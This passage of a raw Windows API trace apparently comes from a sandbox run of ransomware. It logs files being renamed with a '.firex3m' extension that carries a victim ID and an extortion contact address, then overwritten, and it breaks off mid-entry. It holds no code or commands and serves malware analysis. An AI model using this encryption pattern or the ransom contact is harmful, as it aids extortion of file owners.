[0228.157] GetProcessHeap () returned 0x630000 [0228.157] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7175df0 | out: hHeap=0x630000) returned 1 [0228.157] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0228.157] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-PT\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fcc4 | out: lpFindFileData=0x573fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fedb513, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8fedb513, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4df113ae, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1c1, dwReserved0=0x573fd20, dwReserved1=0x6f4370, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5200 [0228.158] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0228.158] Sleep (dwMilliseconds=0x1) [0228.167] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-PT\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x573ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-PT\\toastbeginupgrade.xml") returned 1 [0228.167] GetProcessHeap () returned 0x630000 [0228.167] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5114) returned 0x6fe3bb0 [0228.167] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-PT\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pt-pt\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0228.168] CloseHandle (hObject=0x704) returned 1 [0228.168] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0228.168] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-PT\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pt-pt\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-PT\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pt-pt\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0228.169] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0228.169] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-PT\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fc6c | out: lpFindFileData=0x573fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fedb513, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8fedb513, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x256, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5500 [0228.169] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0228.169] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-PT\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pt-pt\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0228.169] GetProcessHeap () returned 0x630000 [0228.169] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d7550 [0228.169] GetProcessHeap () returned 0x630000 [0228.169] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d7040 [0228.170] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.170] ReadFile (in: hFile=0x704, lpBuffer=0x6d7550, nNumberOfBytesToRead=0x240, lpNumberOfBytesRead=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d7550*, lpNumberOfBytesRead=0x573ff0c*=0x240, lpOverlapped=0x0) returned 1 [0228.173] GetProcessHeap () returned 0x630000 [0228.173] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177830 [0228.173] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.173] WriteFile (in: hFile=0x704, lpBuffer=0x6d7040*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d7040*, lpNumberOfBytesWritten=0x573ff0c*=0x240, lpOverlapped=0x0) returned 1 [0228.173] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.173] WriteFile (in: hFile=0x704, lpBuffer=0x6d727f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d727f*, lpNumberOfBytesWritten=0x573ff0c*=0x20, lpOverlapped=0x0) returned 1 [0228.174] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.174] WriteFile (in: hFile=0x704, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x573ff0c*=0x4, lpOverlapped=0x0) returned 1 [0228.174] CloseHandle (hObject=0x704) returned 1 [0228.174] GetProcessHeap () returned 0x630000 [0228.174] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d7040 | out: hHeap=0x630000) returned 1 [0228.174] GetProcessHeap () returned 0x630000 [0228.174] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d7550 | out: hHeap=0x630000) returned 1 [0228.174] GetProcessHeap () returned 0x630000 [0228.174] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177830 | out: hHeap=0x630000) returned 1 [0228.174] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0228.174] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-PT\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fcc4 | out: lpFindFileData=0x573fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fedb513, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8fedb513, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4df37484, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x27a, dwReserved0=0x573fd20, dwReserved1=0x6d7550, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5480 [0228.174] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0228.174] Sleep (dwMilliseconds=0x1) [0228.183] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-PT\\index.html", len=0x6f | out: pbstr=0x573ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-PT\\index.html") returned 1 [0228.183] GetProcessHeap () returned 0x630000 [0228.183] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5110) returned 0x6fe3bb0 [0228.183] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-PT\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pt-pt\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0228.184] CloseHandle (hObject=0x704) returned 1 [0228.184] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0228.184] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-PT\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pt-pt\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-PT\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pt-pt\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0228.185] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0228.185] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-PT\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fc6c | out: lpFindFileData=0x573fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fedb513, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8fedb513, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa089, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5400 [0228.185] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0228.185] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-PT\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pt-pt\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0228.185] GetProcessHeap () returned 0x630000 [0228.185] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa0a1) returned 0x73282e0 [0228.185] GetProcessHeap () returned 0x630000 [0228.185] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa0a1) returned 0x7332390 [0228.185] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.185] ReadFile (in: hFile=0x704, lpBuffer=0x73282e0, nNumberOfBytesToRead=0xa080, lpNumberOfBytesRead=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73282e0*, lpNumberOfBytesRead=0x573ff0c*=0xa080, lpOverlapped=0x0) returned 1 [0233.421] GetProcessHeap () returned 0x630000 [0233.421] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73189b8 [0233.422] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.422] WriteFile (in: hFile=0x704, lpBuffer=0x7332390*, nNumberOfBytesToWrite=0xa080, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7332390*, lpNumberOfBytesWritten=0x573ff0c*=0xa080, lpOverlapped=0x0) returned 1 [0234.403] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.403] WriteFile (in: hFile=0x704, lpBuffer=0x733c40f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x733c40f*, lpNumberOfBytesWritten=0x573ff0c*=0x20, lpOverlapped=0x0) returned 1 [0234.407] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.407] WriteFile (in: hFile=0x704, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x573ff0c*=0x4, lpOverlapped=0x0) returned 1 [0234.407] CloseHandle (hObject=0x704) returned 1 [0234.407] GetProcessHeap () returned 0x630000 [0234.407] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7332390 | out: hHeap=0x630000) returned 1 [0234.408] GetProcessHeap () returned 0x630000 [0234.408] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73282e0 | out: hHeap=0x630000) returned 1 [0234.408] GetProcessHeap () returned 0x630000 [0234.408] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73189b8 | out: hHeap=0x630000) returned 1 [0235.577] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.578] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-PT\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fcc4 | out: lpFindFileData=0x573fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fedb513, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8fedb513, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x51ab173c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xa0ad, dwReserved0=0xa5c7496, dwReserved1=0x73282d8, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d4ec0 [0235.578] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0235.578] Sleep (dwMilliseconds=0x1) [0235.603] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IE\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x573ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IE\\toastbeginupgrade.xml") returned 1 [0235.603] GetProcessHeap () returned 0x630000 [0235.603] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ff0) returned 0x6fe3bb0 [0235.604] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IE\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ie\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0235.604] CloseHandle (hObject=0x430) returned 1 [0235.604] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.604] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IE\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ie\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IE\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ie\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.677] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.677] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IE\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fc6c | out: lpFindFileData=0x573fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d52c0 [0236.767] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0236.767] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IE\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ie\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0236.810] GetProcessHeap () returned 0x630000 [0236.810] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x665f20 [0236.810] GetProcessHeap () returned 0x630000 [0236.810] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x6657e8 [0236.810] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.810] ReadFile (in: hFile=0x6d0, lpBuffer=0x665f20, nNumberOfBytesToRead=0x220, lpNumberOfBytesRead=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x665f20*, lpNumberOfBytesRead=0x573ff0c*=0x220, lpOverlapped=0x0) returned 1 [0236.814] GetProcessHeap () returned 0x630000 [0236.814] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317838 [0236.814] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.814] WriteFile (in: hFile=0x6d0, lpBuffer=0x6657e8*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6657e8*, lpNumberOfBytesWritten=0x573ff0c*=0x220, lpOverlapped=0x0) returned 1 [0236.814] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.814] WriteFile (in: hFile=0x6d0, lpBuffer=0x665a07*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x665a07*, lpNumberOfBytesWritten=0x573ff0c*=0x20, lpOverlapped=0x0) returned 1 [0236.814] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.814] WriteFile (in: hFile=0x6d0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x573ff0c*=0x4, lpOverlapped=0x0) returned 1 [0236.814] CloseHandle (hObject=0x6d0) returned 1 [0236.814] GetProcessHeap () returned 0x630000 [0236.814] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6657e8 | out: hHeap=0x630000) returned 1 [0236.814] GetProcessHeap () returned 0x630000 [0236.814] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665f20 | out: hHeap=0x630000) returned 1 [0236.814] GetProcessHeap () returned 0x630000 [0236.814] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317838 | out: hHeap=0x630000) returned 1 [0236.815] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.815] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IE\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fcc4 | out: lpFindFileData=0x573fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x531a40fa, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x24e, dwReserved0=0x573fd20, dwReserved1=0x665f20, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d4f40 [0236.815] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0236.815] Sleep (dwMilliseconds=0x1) [0236.836] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\Common.DBConnection64.exe", len=0x72 | out: pbstr=0x573ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\Common.DBConnection64.exe") returned 1 [0236.836] GetProcessHeap () returned 0x630000 [0236.836] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ef0) returned 0x6fe3bb0 [0236.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\Common.DBConnection64.exe" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\common.dbconnection64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0236.838] CloseHandle (hObject=0x674) returned 1 [0236.838] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0236.838] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\Common.DBConnection64.exe" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\common.dbconnection64.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\Common.DBConnection64.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\common.dbconnection64.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0236.838] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.839] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\Common.DBConnection64.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fc6c | out: lpFindFileData=0x573fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa853100, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa853100, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa89f599, 